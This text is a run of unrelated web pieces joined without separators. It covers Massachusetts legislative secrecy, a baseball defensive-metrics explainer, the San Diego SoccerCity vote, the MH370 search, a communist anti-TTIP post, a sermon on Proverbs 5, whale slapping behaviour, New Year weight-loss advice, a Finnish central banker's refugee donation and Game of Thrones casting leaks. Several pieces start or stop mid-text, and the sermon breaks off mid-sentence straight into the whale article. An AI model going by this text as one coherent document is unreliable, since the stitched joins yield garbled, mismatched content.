“It puts it among a handful of states who are at the absolute bottom of the barrel,’’ said Charles N. Davis, a journalism professor at the University of Missouri who researches open-government laws. “If you’re in the business of trying to self-govern, if you’re a citizen, if you’re an activist, if you’re someone who is trying to affect the outcome of legislation, it’s nearly impossible because you’re literally shut out of the process.’’
Massachusetts, the birthplace of American democracy, is one of fewer than 20 states with virtually no requirements that legislators discuss government business in public, according to a Globe review of open government data compiled by the Reporters Committee for Freedom of the Press. This state is one of about 10 in which the public does not have even limited rights to view legislators’ records.
Information blackouts are treated with an almost religious reverence by the power brokers on Beacon Hill, who frequently decline to detail what is being discussed out of what they term “a respect for the process.’’
The $30.6 billion budget approved by the Legislature last week was negotiated almost entirely in secret, with six lawmakers meeting for 24 days of talks that were off limits to taxpayers. Debates, agendas, and even the times and locations of the meetings were held in strict confidence. No minutes were kept.
Not every state legislature operates this way. Colorado is one of many states where all meetings, including party caucuses and committee meetings, are held in the open unless they involve personnel issues.
New Hampshire is one of six states to enshrine a right to open government in its constitution. There, every bill gets a public hearing, and all committee votes are taken in the open.
Vermont legislators recently revamped their open records laws to make it easier for people to sue for access to public information, forcing the government to pay attorneys’ fees if it is improperly denied.
In Florida, often considered the gold standard for open government, the law prohibits three or more lawmakers from meeting to discuss pending legislation. If they run into each other at a barbecue or drug store, they are allowed to make small talk, but they are barred from discussing an upcoming vote.
If residents there want to know which special interests are influencing a bill, they can look at lawmakers’ calendars, phone logs, or e-mails, though some legislators try to skirt that requirement by deleting often.
Conference committees, where lawmakers make the toughest decisions on what becomes law, are public in Florida. Residents can ask for charts that show which elements of a pending bill are in dispute. In Massachusetts, little about the conference process is visible.
Charlie Crist, governor of Florida from 2007 through earlier this year and a strong advocate for open government, said a history of open access has created an expectation among residents that their leaders will invite them in.
“We’re the Sunshine State where these open-government laws have been a way of life,’’ he said.
Crist, a Republican turned independent, would sometimes invite the press into the governor’s mansion to witness meals he had with the House speaker and Senate president.
When Governor Deval Patrick meets weekly with Murray and DeLeo, a practice that began decades ago to foster cooperation among the branches, the meetings are closed.
The Supreme Judicial Court ruled in 1997 that the governor is not explicitly included in the state’s open records law, allowing governors to argue that they are exempt from disclosing their full meeting schedule or the correspondence they have with lawmakers or special interests.
Leading legislators argue that adding public sessions would slow the process and that lawmakers are more candid when the public is not watching.
“The discussion [in private] becomes a lot more open and in that fashion moves the process along a whole lot faster,’’ DeLeo said.
Murray referred to the hundreds of individual amendments considered by the Senate during its marathon debate session held over two days in late May as evidence of a robust public process. Closing the conference committee between six House and Senate members is necessary, she said, because there are so many disputes to resolve.
“There are over 600, 700 amendments,’’ she said. “So if you take it out of conference and put it in the public realm, then the conferees are never going to get to finishing up the budget within the time frame we need to finish.’’
For years, open government groups have complained about a lack of public access in Massachusetts, but have been unable to create a groundswell that would force legislators to act.
Even some Republicans in the Legislature, who account for only a small minority, are reluctant to criticize the system. Bradley H. Jones Jr., the House Republican leader, said he agrees with the need to conduct some business behind closed doors to facilitate negotiations. Jones calls for a modest overhaul allowing lawmakers to decide the fate of a handful of bills in a public debate each year, without determining the outcome ahead of time.
At least a little bit of open debate, he said, would be “a good management tool,’’ for the speaker, and an opportunity for “blowing off legislative steam.’’
Noah Bierman can be reached at nbierman@globe.com. Follow him on Twitter @noahbierman.
© Copyright 2011 Globe Newspaper Company.Hi there. It's been a little while. (I think it's been two, maybe three site redesigns since I've been up here. Neat.)
Nico asked me if I could explain how advanced defensive statistics work and how they're created. For those who don't know, I'm a former writer here at AN, now working at Baseball Info Solutions, the company behind DRS. There’s a lot of confusion and misinformation out there, so I’d love the opportunity to set it straight. I’ll outline the metric I’m most familiar with, DRS (Defensive Runs Saved), and touch on a few comparisons with UZR (Ultimate Zone Rating) along the way.
I’ll try to keep it simple and stay on a conceptual level, with as little math and numbers as possible.
Plus/Minus
When it really comes down to it, when you strip away everything and whittle defense down to its core, what separates a good fielder from a bad one? The ability to make more plays and record more outs.
So if you were building a defensive metric, the first thing you’d need to figure out is how many plays a fielder made, and how many plays the average fielder at his position would have made, given the exact same distribution of batted balls. Josh Reddick has a ton of range in right field, so he’s going to get to balls most other right fielders can’t reach. Summing up the amount of plays made, as compared to the average fielder, is the heart of both DRS and UZR.
But we can’t just rely on whole numbers and simple yes/no data, either. Let’s say a third baseman ranges two steps to his left and scoops up a grounder. Would the average third baseman have converted that ball into an out? It’s not a black-and-white answer, and we can’t just give him a point if the answer is no and give him nothing for a yes. There isn’t a line in the dirt, where everything on one side is 100% reachable, and everything on the other side is 100% not. We need to award partial credit. To do this, we break up all batted balls and categorize them in terms of their location on the field and the time it took the ball to get there. Let’s use a real-world example.
(Click to see the gif.)
This was from June 30th of this year, in the top of the 7th inning against Allen Craig (2:12:30 on MLB.TV, for the curious). Josh Donaldson quickly dives over to the left and stabs at the ball with his glove, just in time to stand up and throw for the out. It’s a tough play. A really tough play. Let’s say that groundballs hit to that zone of the field with that batted ball speed are only turned into outs 20% of the time. Since Donaldson made that play, we give him 0.80 points, which comes from 100% minus the 20% from the successful attempts. What does that mean? In that inning, Josh Donaldson made 0.80 more plays than the average third baseman.
Fielders even get a little positive credit on the easy plays, because no play is made absolutely 100% of the time without a single mistake. Let’s say a relatively slow 40 mph groundball hit right to the third baseman is fielded for an out 98% of the time. If Donaldson turns the out, he’ll get 0.02 points. If he lets it skitter underneath his glove, he’ll be docked -0.98 points.
That’s it. Seriously. Advanced defensive metrics can seem dense and bewilderingly complicated at times, but really, this is almost all there is to it. Understand this, and you understand DRS and UZR.
The best part about this approach is that it ignores things like dives, spins, or any of that cosmetic Jeter-y stuff. Convert that tough play while making it look boring and routine? 0.80 points. Dive, spin, and throw while jumping, just barely getting the runner out? 0.80 points. Unlike the eye test, nobody subconsciously gets extra credit for making things look cool on Sportscenter.
If you keep a running total of every play for every fielder over the whole season, adding up the plays where he made an out and subtracting plays in exactly the same way when an out wasn’t recorded, you get a number, which DRS calls Basic Plus/Minus. These numbers are then multiplied by a factor for each location/time zone that accounts for extra base hits. An outfielder who allows two balls to drop in front of him should be docked fewer points than an outfielder who allows two balls to drop behind him, since if all else is equal, the former are almost always less-damaging singles, while the latter often go for extra bases. By multiplying by this extra-base factor, we’ve just converted our plays above average number to bases above average. This is what DRS calls Enhanced Plus/Minus.
Translating to runs
This is almost completely identical to the way wOBA or any other offensive stat is translated to runs, but I’ll outline it here, because it’s important.
There’s a concept in sabermetrics called the 24 base/out states. It may sound difficult but it’s not, I promise. There are eight ways the bases can be configured: bases empty, guy on first, guy on second, guy on third, guys on first and second, guys on first and third, guys on second and third, and bases loaded. Trumpet players, that probably sounded a bit familiar. Eight base states multiplied by three out states (zero, one, or two) gives us 24 base/out states that describe every possible situation within an inning.
Now, if we look through baseball history, we can find the amount of runs that have scored from any one of the base/out states through to the end of the inning. If we average all of that data and group it by the base/out state, we get what is called run expectancy, because it tells us the value of each of the base/out states in terms of runs, without having to rely on what comes next. For example, having the bases loaded with one out is worth 1.631 runs on average, according to this run matrix that was distilled from every single in-game baseball event from 1993 to 2010.
Since we know the value of all of these states, we can easily compare them. Let’s say there’s a runner on first with one out, and the batter hits a hard grounder to the shortstop. Jed Lowrie dives, can’t get it, and the ball winds up in left field. Now there are runners at the corners, still with one out. According to this run expectancy matrix, the difference between the previous situation and the current situation is +0.649 runs, which means that the botched play was worth exactly the opposite: -0.649 runs.
To make a long story and a lot of math short, by averaging all of this together, we can find a conversion factor for each defensive position, so that we can go from bases saved above average to runs saved above average.
You can find DRS’s Plus/Minus Runs Saved at Fangraphs under the "rPM" column. For most fielders, this makes up the bulk of their final DRS score. UZR’s equivalent is on the same table at Fangraphs, and is labeled as "RngR".
Other stuff
What else goes into DRS aside from Plus/Minus? There’s the Good Fielding Plays/Defensive Misplays (GFP/DME) system, where BIS’s video scouts flag good and bad plays and categorize them into predefined descriptive groups. These categories include events like when an infielder has to settle for the out at first, because he bobbled the ball and lost the lead runner, or when a fielder doesn’t cleanly field a ball, but traps it near him and prevents runners from advancing further. The categories that don’t double-count things already in Plus/Minus are converted to runs above/below average in a similar way, then added in. Stuff like this is counted in the "rGFP" column on Fangraphs.
There’s also the system which awards credit for turning double plays. Outfielder arms are measured. Catchers and pitchers are given credit for controlling the running game. It’s probably easier to list all of the inputs into DRS for each group of positions.
Corner Infielders: Plus/Minus, double plays, bunt fielding, GFP/DME.
Middle Infielders: Plus/Minus, double plays, GFP/DME
Outfielders: Plus/Minus, outfield throws, GFP/DME
Catchers: Pitcher handling, baserunning prevention, bunt fielding, GFP/DME
Pitchers: Plus/Minus, baserunning prevention, bunt fielding, GFP/DME
Frequently asked questions
I’ll take questions in the comment section, and if I think they’re useful enough to be highlighted, I’ll reprint them up here and answer them in the body of this thing for reference. For now, I’ll try to stave off some of the more common questions I’ve seen.
How can you talk about runs above/below average for a play when a run didn’t even score in that inning anyway?
In this entire context, we’re talking about theoretical runs that are calculated on average. It’s true, we don’t look at runs that actually come around to score and then dole out credit after the fact. Why? Because if a second baseman botches a play that allows a baserunner, why should we ignore the bad play just because the pitcher struck out the next two batters to escape unscathed? The second baseman still made a bad play, and what happens next is irrelevant. So we calculate everything on average, that way, we know what that single play was worth, isolated from everything else that may have happened.
Simply, what is the difference between DRS and UZR?
While both get their data from BIS and use very similar methods (especially in the Plus/Minus calculation), DRS has batted ball timer data, while UZR does not. The GFP/DME system is also exclusive to DRS, while UZR attempts to measure something similar by adding up errors.
Don’t first basemen get misrepresented because Plus/Minus doesn’t care about scooping ability?
Plus/Minus doesn’t care about scoops, but as a whole, DRS does. When BIS’s video scouts see a first baseman recording an out on a bad throw, they’ll flag it as one of the Good Fielding Plays, which gets factored in. The end result is that the first baseman gets some extra credit, while the infielder who made the bad throw will get docked.
What about shifts? DRS gives fielders credit for positioning, but you can’t blame a second baseman for not making a play when his coach told him to stand ten feet out into right field.
Correct. Both DRS and UZR ignore plays where there was a shift. DRS then circles back around and computes runs above average on shifts separately, on a team-wide basis.
What about first baseman positioning? If they’re holding on runners, doesn’t that limit their range?
Yup. DRS takes out all first baseman plays with a runner on first, then calculates them all separately.
I'm a glutton for punishment. What if I want to read more?
You can find detailed methodologies for DRS here (under the Plus/Minus tab), and for UZR here.SAN DIEGO (CNS) - The City Council Monday unanimously opted to place the proposed SoccerCity redevelopment of the Qualcomm Stadium property in Mission Valley before San Diego voters, most likely for the November 2018 general election ballot.
In so doing, the council left the door ajar for an earlier special election, as called for by the project's developers, led by FS Investors of La Jolla, and supporters. The developers collected enough valid signatures on petitions supporting their project to require the council to either set it for a vote or adopt it outright.
All sides favored a vote -- for FS Investors, passage would provide greater legal protections than simple council adoption.
They had hoped for a special election this fall -- before Major League Soccer makes decisions on expansion franchises -- but the council recently ruled out a vote before next year. FS Investors has applied for a new MLS franchise.
"SoccerCity is not the only option for Mission Valley and we shouldn't buy into rhetoric that says otherwise," Councilwoman Barbara Bry said.
Councilman David Alvarez said he hopes the extra time will allow for a better proposal to emerge, particularly one that addresses the interests of San Diego State University.
Disappointed #SoccerCity supporters walk out Meeting after San Diego City Council voted to have a 2018 public vote for the initiative??@CBS8 pic.twitter.com/s73N4uOhOt — Heather HOPE (@HopeNEWS8) June 20, 2017
SDSU boosters contend that the stadium land, available now that the Chargers have moved to Los Angeles, should be used for campus expansion and a smaller stadium more suitable to college football.
Joe LaCava of the Public Land, Public Vote Coalition, urged the council to "take a breath" open the property up to a competitive process.
"What we have now is just a massive land grab," LaCava said. "It's a windfall for FS that would be the largest transfer of taxpayer wealth in San Diego history."
On the other side, SoccerCity investor Steve Altman said his group was the only one that was prepared for the Chargers decision to leave San Diego. The MLS expansion timeline required them to move quickly after the football team announced its decision, he said.
"Unfortunately in this city, and especially in today's divided environment, even the best intentions get mischaracterized and attacked," Altman said.
"In an effort to discredit us and our project, the opposition -- funded by two very politically connected local developers seeking to protect their nearby projects -- fueled the impression that we were just a bunch of greedy land developers trying to make windfall projects at the expense of the city and its taxpayers."
If eventually approved, SoccerCity would include a hybrid soccer and college football stadium, a park along the San Diego River, 2.4 million square feet of office space, 740,000 square feet for retail space, 4,800 multi-family residential units and 450 hotel rooms.
Mayor Kevin Faulconer -- whose plan to raise hotel taxes to fund expansion of the San Diego Convention Center, homeless programs and road repairs was similarly delayed by the City Council last week -- issued a statement that said the council continued a trend of avoiding facing up to some of the city's biggest issues "by shelving a plan that more than 100,000 San Diegans support.
"The council's decision significantly jeopardizes our chance to bring Major League Soccer to San Diego and create a river park at no cost to taxpayers," Faulconer said.
"Regardless of whether they personally supported or opposed Soccer City, council members should have given San Diegans the chance to vote when it mattered the most. Despite the council's delay, I will keep working for the park space, housing and economic benefits in the SoccerCity plan."
In its own statement, San Diego State University expressed appreciation for supporters who spoke before the council.
"We look forward to working with the city and other key stakeholders to evaluate the best use for the Mission Valley property with the goal of securing a future home for Aztec football and growing the university's academic and research endeavors, which benefit all of San Diego," the statement said.
"SDSU is a growing and thriving institution of higher education that has been part of San Diego for 120 years and we remain committed to working collaboratively with the community for generations to come."
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July 21, 2016, 9:37 AM GMT / Updated July 21, 2016, 9:37 AM GMT / Source: Reuters
Experts at the company leading the underwater hunt for missing Malaysia Airlines Flight MH370 say they believe the plane may have glided down rather than dived in the final moments, meaning they may have been scouring the wrong patch of ocean for two years.
Searchers led by engineering group Fugro have been battling rough seas to comb an area of ocean floor the size of Pennsylvania.
But with their mission almost complete, nothing has been found.
Debris from the missing Boeing 777 has turned up on the shores of Africa, but nothing has been located in the 46,000 square mile section of the southern Indian Ocean that Fugro has been scanning.
Fugro Equator crew members during a resupply visit to Australia's Fremantle Harbour. Paul Kane / Getty Images
Their mission is expected to end in three months and the entire search effort could be called off after that following a meeting of key countries Malaysia, China and Australia Friday.
"If it's not there, it means it's somewhere else," Fugro project director Paul Kennedy told Reuters.
Flight MH370 disappeared in March 2014 with 239 passengers and crew onboard en route to Beijing from Kuala Lumpur.
While Kennedy does not exclude extreme possibilities that could have made the plane impossible to spot in the search zone, he and his team argue a more likely option is the plane glided down and crashed beyond the area originally marked out by calculations from satellite images.
"The end-of-flight scenarios are absolutely endless"
"If it was manned, it could glide for a long way," Kennedy said. "You could glide it for further than our search area is, so I believe the logical conclusion will be well maybe that is the other scenario."
Doubts that the search teams are looking in the right place will likely fuel calls for all data to be made publicly available so that academics and rival companies can pursue an "open source" solution — a collaborative public answer to the airline industry's greatest mystery.
Fugro's controlled glide hypothesis is also the first time officials have given some support to contested theories that someone was in control during the flight's final moments.
Since the crash, there have been competing theories over whether one, both or no pilots were in control, whether it was hijacked — or whether all aboard perished and the plane was not controlled at all when it hit the water. Adding to the mystery, investigators believe someone may have deliberately switched off the plane's transponder before diverting it thousands of miles.
The glide theory is not supported by the investigating agencies: America's Boeing Co, France's Thales SA, U.S. investigator the National Transportation Safety Board, British satellite company Inmarsat PLC, the U.K. Air Accidents Investigation Branch and the Australian Defence Science and Technology Organisation.
The Malaysia Airlines Boeing 777 that vanished is seen in a photo taken at Los Angeles International Airport on Nov. 15, 2013. Jonathan Morgan, file
The meeting between officials from China, Australia and Malaysia is expected to discuss the future of the search. The three governments have previously agreed that unless any new credible evidence arises the search would not be extended, despite calls from victims' families.
Any further search would require a fresh round of funding from the three governments on top of the almost $137 million that has already been spent, making it the most expensive in aviation history.
Deciding the search area in 2014, authorities assumed the plane had no "inputs" during its final descent, meaning there was no pilot or no conscious pilot. They believe it was on auto-pilot and spiraled when it ran out of fuel.
But Kennedy said a skilled pilot could glide the plane approximately 120 miles from its cruising altitude after running out of fuel. One pilot told Reuters it would be slightly less than that.
For the aircraft to continue gliding after fuel has run out, someone must manually put the aircraft into a glide — nose down with controlled speed.
The Fugro Equator returns to Australia's Fremantle Harbour for resupply on August 12, 2015. Paul Kane / Getty Images
"If you lose all power, the auto-pilot kicks out. If there is nobody at the controls, the aircraft will plummet down," said a captain with experience flying Boeing 777s.
Fugro works on a "confidence level" of 95 percent, a statistical measurement used, in Fugro's case, to indicate how certain the plane debris was not in the area they have already combed, a seabed peppered with steep cliffs and underwater volcanoes.
"The end-of-flight scenarios are absolutely endless," Fugro managing director Steve Duffield said. "Which wing ran out of fuel first, did it roll this way or did it tip that way?"
The Australian Transport Safety Bureau (ATSB), the agency coordinating the search, has consistently defended the defined search zone. It did not immediately respond to questions over whether it was assessing the controlled glide theory.
Authorities used data provided by Inmarsat to locate the likely plunge point through communication between the plane and satellite ground station.
"All survey data collected from the search for missing flight MH370 will be released," an ATSB spokesman said.CPGB-ML and Red Youth activists attended and spoke at a demonstration opposing TTIP today at Shepherd’s Bush in West London (see video below).
TTIP is the latest in the legacy of cuts and privatisation ushered in by successive imperialist governments, and has been rearing it’s ugly head with increasing frequency in the media recently – but not without opposition, despite the best attempts of our governments and media to sanitise it, and brush its anti-social effects under the carpet.
TTIP (Transatlantic Trade and Investment Partnership) is being put across as a simple way to encourage and improve trade between member countries, boosting the economy and creating jobs. What they’re trying desperately to avoid is to reveal how TTIP actually works, and what it would mean for working people in the countries afflicted with it.
What we understand of the framework of the agreement, which is discussed behind closed doors, comes largely from leaked documents over the past few years and includes a variety of despicable, yet characteristic attacks on the basic rights of the working classes everywhere.
TTIP really has one agenda: to put more tools and more power into the hands of corporations to wring out every last bit of profit from the masses they exploit.
Under the partnership, EU businesses will be able to throw out many regulations now in place for environmental protection and the safe production of food and medicines.
What is more, TTIP would force the further privatisation of vital public services including the NHS and education by requiring public providers (local and national governments) to open all services and supplies to bidding from private companies. It would also mean that corporations would have a right to sue governments for enacting any law that could effect their future profits!
TTIP has drawn protest from many quarters, including environmentalists, healthcare workers, anti-GM campaigners, and students. Many protesters have branded TTIP an ‘assault on democracy’, and potentially the ‘biggest threat to human rights’, the economy, and public infrastructure in this country. In this characterisation, we believe, many protesters display their lack of understanding of the fundamental nature of the capitalist system that oppresses and exploits us.
The fact is that the tired references to ‘democracy’, filling our air-waves once again in this election period, are as empty as they are hackneyed. Imperialism strives for domination, not democracy, and any close look at the manner in which the super rich stay in command of their fortunes, and the political and economic fate of our nation and the world show this time and again.
TTIP is a flagrant attack on the social-democratic attempt to create a ‘people friendly’ capitalism, that allows for some semblance of welfare state. But it must not be imagined that it marks some sort of qualitative turning point in the rapacious rule of capital. Rather, it will be another weapon in the arsenal of the lords of finance capital to batter down the last remaining bastions of the Keynesian consensus.
We must oppose the implementation of TTIP, while pointing out that in reality, it remains just another symptom of the root cause: capitalism itself. So long as the capitalist class remain in power, we will never be free of their constant attempts to undermine the remaining vestiges of workers’ hard-won rights. No amount of letters to MPs or petitions will solve the permanent crisis we have been born into. We must demand, not only an end to the worst excesses of exploitation, but an end to capitalist exploitation itself!
Heightened class consciousness (rather than dumbed down UKIPing and anti-immigrant scapegoating), real marxist-leninist education, widespread working class organisation, and concerted action are the only weapons in the hands of workers that are capable of worry ing big business and the MPs in their pockets, and overturning their TTIP apple-cart.
Read more about TTIP in Lalkar
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AdvertisementsSome time ago the CNN website featured a woman who lived a promiscuous lifestyle for many years. She had many illicit relationships over the years and reflected on them at 40 years of age. It is clear in the article that the woman who wrote the article isn’t a Christian. She doesn’t fully understand what God teaches about sexual purity. But we see in her words that one can’t violate God’s ways without consequences. The image of God is etched in us, and we can’t escape God’s world. If we transgress his norms, those norms catch up with us. This woman experienced the consequences of sexual relationships without commitment. She felt the vanity and futility of casual sex. She lived a dissolute life for many years, but she came to see that causal sex doesn’t really exist. It led to “a cold, mechanical exchange” that left her “lonely and depressed.” She came to see that casual sex is “hollow” and “heartless.” We see that her experiment with casual sex failed. It didn’t bring her joy. She didn’t find meaning. Her sexual encounters had become as meaningful as wolfing down McDonald’s hamburgers when one is in a hurry.
Secular people often talk as if their perspective on sex is freeing and liberating. They often say that the Christian view is repressive, rigid, and joy-denying. But it is exactly opposite. If you want to experience heartache, tears, loneliness, and frustration, follow the ways of the world. I am not just using words in saying this. I am talking about real stories I know, specific stories where people are moved to tears because they have given themselves to others and now regret it. It testifies to the truth that sexual relations bring joy within a committed relationship.
We see this very clearly in Proverbs 5. I don’t intend to exposit all of Proverbs 5, but I want to lift out four truths for our consideration. First, recognize that sexual sin is tantalizing. Second, realize that that sexual sin will destroy you. Third, repel the onset of sexual sin in your life. Fourth, rejoice in the wife of your youth. In Proverbs 5 a father is writing to his son, so the wording is directed to men, but clearly the admonitions apply to women as well.
Sexual sin is tantalizing
First, recognize that sexual sin is tantalizing. We see that it is tantalizing in v. 3. “For the lips of a forbidden woman drip honey, and her speech is smoother than oil.” We almost certainly have a case of double entendre here. Honey and oil signify physical delights. The joys anticipated can draw us into sin. As one commentator says, “Honey is sweet, but the bee stings; and this lady has a sting in her tail.” Proverbs 6:25 tells us that a man can be attracted by a woman’s beauty or her stylish makeup (“her eyelashes”). Clearly, this woman is dressed to kill. Correspondingly, a woman may be attracted by a man who is handsome, kind, caring, humorous, and successful.
Sin promises rapturous pleasures. The woman in Prov. 7:18 says, “Come, let us take our fill of love till morning; let us delight ourselves with love.” Illicit experiences are often preceded by lies. We are not surprised, therefore, to read in Prov. 7:5 that a man may be persuaded by a woman’s flattery. Of course, the woman may be flattered by the man as well. The spouse at home is all too familiar with our faults, but the person at the office or the club or at school only sees the good side of us, and tells us how wonderful we are. The scriptures tell the truth. They are refreshingly honest. As Hebrews 11:25 says, there is pleasure and delight in sin. We wouldn’t be tempted by sexual sin if it didn’t promise joy. It lures us by promising happiness.
If you feel a little down and little depressed, then the temptation to look at pornography increases. Satan promises that such temporary pleasure will relieve some of our misery. Sin lurks at the door of hearts, tantalizing and beckoning us, promising joy if we give in. God gives us weapons to fight sexual sin. He arms us so we are ready for war. He warns us because he loves us. And that brings us to our second truth.
Sexual sin will destroy you
Realize that that sexual sin will destroy you. Solomon spends most of his time on this point in chapter 5. The pleasures advertised are delicious, “but” v. 4 says, “in the end she [the adulteress] is bitter as wormwood, sharp as a two-edged sword. Her feet go down to death; her steps follow the path to Sheol.” We think we are on the pathway to life, but we are actually on the road to death.
Paul warns about the danger of sexual sin in 1 Thess. 4:6. He says, “the Lord is an avenger in all these things, as we told you beforehand and solemnly warned you.” Those are scary words, and they are meant to scare us. The Lord judges us when we violate his commands.
One of my dearest friends in Minnesota committed adultery. When I first asked him about it, he lied to me. But then he brought it out to the light. I will never forget him telling me about the darkness and pain and grief he felt after the weight of what he had done hit him. He confessed his sin and was forgiven by the Lord. But there were consequences. He is no longer a pastor, and I don’t think he will serve as a pastor again. It was harder for him to sense a closeness and fellowship with the Lord after his unfaithfulness. He told me that he battled a great sense of distance from God. He experienced the words of Proverbs 5:12-14. “How I hated discipline, and my heart despised reproof! I did not listen to the voice of my teachers or incline my ear to my instructors. I am at the brink of utter ruin in the assembled congregation.” My friend didn’t listen to the loving warnings given by God. He would love to be able to roll the clock back and to replay those decisions, but he can’t do that.
We are reminded that every choice we make is before the Lord. We live in his presence always. As Proverbs 5:21 says, “For a man’s ways are before the eyes of the LORD, and he ponders all his paths.” We can fool people and we can even fool our spouses, but we can never fool the Lord. He knows our thoughts from afar. He scrutinizes all our paths.
Let me add here that our sex lives are a theological matter. Our sex lives are a Trinitarian matter: our bodies belong to the Lord Jesus Christ, to the Holy Spirit, and God our Father. We read in 1 Cor. 6:13 that our |
Tail and fin slapping, on the other hand, was more of a close-range action, used before and after two groups joined up or split apart. This highlights slapping’s possible function in maintaining diplomacy both between and within small groups.
The results, published in the journal Marine Mammal Science, also showed that whales were more likely to perform surface-active behaviors when it was windy.
“This makes absolute perfect sense,” says Chris Parsons, a cetacean biologist at George Mason University in Virginia who was not associated with this research. “Even though these whales can produce calls that travel great distances, if there’s a lot of noise, it might be easy to drown out. Leaping up in the air and splashing down is equivalent to the really keen kid in a classroom jumping up and down waving his arms.”
While Kavanagh’s conclusions aren’t surprising, Parsons says they finally confirm the assumptions marine mammal researchers have made for decades. “I remember sitting around a campfire while doing a survey for humpback whales in South Africa in 1991, and we were talking about why these animals do this,” he says. “It’s nice we’re now getting the statistical ability, the time and resources and equipment, to actually answer the questions we’ve been wondering about.”After the culinary excesses of the festive season, it is no surprise that one of the most common New Year resolutions is to lose weight. And while reaching a healthy weight can take commitment and willpower, there are some tried and tested approaches that should make the task easier.
There is no doubt that people with an optimum body weight live longer and have healthier lives. Overweight or obese people are more likely to develop diabetes, heart disease, high blood pressure, cancer, osteoporosis, and experience fertility problems. They die younger too. Body mass index is not a perfect measure, particularly for heavy people who are lean and muscular, but it works for much of the population. The healthiest BMIs range from 22.5 to 25. When it reaches 30 to 35, life expectancy falls by two to four years. A BMI from 40 to 45 typically shortens life by eight to 10 years. Many deaths in overweight people are the result of vascular disease.
How long do people keep their New Year resolutions? Read more
Aisling Pigott, a spokeswoman for the British Dietetic Association, says many people allow themselves to binge over Christmas on the promise that they will fast in the new year. Unsurprisingly, this is not the best way to start, she says. “People need to think about moderation all the time. Weight loss involves adjusting lifestyle, diet and calorie intake, whilst overcoming the psychological barriers too.”
Psychology is a major factor to be wrestled with, but using positive terms can help. Do not to frame the goal of losing weight in negative language, says Pigott, because that only increases the cravings. Instead of “cutting out” this food, and “never again” having that food, look forward to enjoying a healthy routine, one with boundaries on some foods. “You will feel far less hard done by,” says Pigott.
The first goal should be to stabilise eating patterns. For people who eat as and when they can, that means imposing some order, and having more consistent meal times. Having a proper meal routine helps to keep hunger under control. Once mealtimes fall into a regular pattern, look at reducing portion sizes, and how often the menu includes takeaways and treats such as cakes and chocolate. Do not see food as the enemy. “A lot of people who try to lose weight tell me they absolutely hate eating. Food becomes a stressful experience because they feel out of control,” Pigott says. “Try to enjoy it again. Turn off the television and pay attention to what’s going into your mouth.”
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There is more to losing weight than cutting down on calories. Look at overall lifestyle to see what small changes can be made straight away and built on over time. But make each commitment realistic and achievable. That could mean walking or cycling to the shops one day instead of driving, hopping off the bus a stop or two early once a week, and doing without that extra portion of potatoes or pudding. Start small and then build.
The new year will see an explosion in fad diets, but Pigott warns against them all. Diets are often hard to maintain in the long run and can even lead to weight gain if people do not change their lifestyle and behaviour, she says. “For me, anything that isn’t a lifestyle change is not an appropriate weight loss strategy.”
Tim Spector, author of The Diet Myth and professor of genetic epidemiology at King’s College London, went vegetarian when he wanted to lose 10kg some years back. The move cut out nearly all processed food – gone were the bacon, sausages and frozen lasagnes. It meant he ate a wider range of fruit and vegetables and had to get inventive at meal times. That, he says, was good for his gut microbiome, the unseen community of bugs that live in our digestive tracts.
Gut microbes seem to have a bearing on bodyweight, along with plenty of other aspects of human biology, such as the immune system and even mood. In one landmark study, researchers took gut bacteria from human twins, in which one was obese and the other slim. The scientists transferred the bugs into mice and watched them grow. Mice that received gut bugs from the overweight twin grew fat, but those that received bacteria from the slim twin stayed a healthy weight.
Spector advocates eating for a diverse microbiome, and that means a good variety of vegetables. Slim people, he says, typically have a more diverse community of bugs in their guts, suggesting that some strains play a role in controlling body weight.
“The first thing is to decide what you want to lose, have some attainable goal, and kickstart the process in a feasible way,” Spector says. “There isn’t a one-size-fits-all diet.”
• The photograph accompanying this article was changed on 8 January 2016, replacing one that showed a very low weight on the bathroom scales.Erkki Liikanen says he will participate in fund-raising by Finnish Red Cross with his monthly net salary
HELSINKI: The governor of the Bank of Finland Erkki Liikanen has promised to donate a month’s salary to help asylum-seekers.
“I have decided to participate in a fund-raising by the Finnish Red Cross with a sum that corresponds to my monthly net salary. That is 10,000 euros ($11,200). I know the funds will get across to those who are suffering the most,” Liikanen wrote on his personal Facebook account on Sunday.
Liikanen referred to the example set by Finnish Prime Minister Juha Sipila who offered on Saturday to host refugees at his country home in Northern Finland.
On Friday, the government said it expected to receive 30,000 asylum applications this year, over seven times the total for 2014.
Liikanen, formerly president of honour of the Finnish Red Cross, urged everyone to help the migrants in the way “they feel appropriate and possible for them”.
“The events have led to an influx of refugees we have not seen in our lifetime,” he wrote, referring to conflict in Syria, Iraq, Libya and other countries.
The Bank of Finland confirmed Liikanen had posted the appeal on Facebook but told AFP he was not available for a comment on Monday.
Read full storyShare. A list of a dozen new characters currently being cast for Game of Thrones' fifth season has hit the web. With a heavy focus on the region of Dorne. A list of a dozen new characters currently being cast for Game of Thrones' fifth season has hit the web. With a heavy focus on the region of Dorne.
Warning: This piece contains spoilers for Season 5, so if you don't want to know which new characters are coming to HBO's Game of Thrones, turn back...
We were given a taste of Dorne this year with the new character of Prince Oberyn Martell, who travelled up from the desert region of Westeros to attend King Joffrey's wedding.
Exit Theatre Mode
Well now, thanks to WinterisComing.net (and leaks from their undisclosed source), we know that the actual region of Dorne will be a big focal point in Season 5 thanks to the following characters that the show is currently casting for...
Prince Doran Martell “Doran is described as the major new player this year, appearing in multiple episodes. The fiftysomething prince uses a wheelchair, is reclusive and rules wisely. It appears the show is looking to continue the trend it started with Pedro Pascal, and cast Latino actors for the Martell clan.” Prince Trystane Martell “Trystane, the handsome fiance of Princess Myrcella, is being aged up to 18.” Areo Hotah “Doran’s personal bodyguard will appear throughout the season, assisting the prince with his duties. The show is particularly looking for a black actor to fill the role.”
Prince Doran, if you recall, was the Dornish royal the Lannisters were expecting to show up for Joffrey's wedding - not his brother Oberyn. Doran's gout, however, made it impossible for him to travel.
The show is also casting (and those who've read the books will know the name) for the "Sand Snakes" - i.e. Oberyn's bastard daughters.
Obara Sand “The eldest and most athletic Sand Snake will be having a major fight scene with a series regular character — not one who crosses her path in the books. This is an interesting change.” Nymeria Sand “Nymeria is described as ‘mixed race,’ with her father being the fairer (Oberyn) and her mother being darker skinned. The second oldest of these Sand Snakes, she’s beautiful, emotional and very strong.” Tyene Sand “The youngest of the Sand Snakes that we meet uses her wits and seductive powers and is less of a physical fighter than the other Sand Snakes. She is just as deadly as her sisters, however, but her weapon is poison.”
But Dorne isn't the only region getting some new faces...
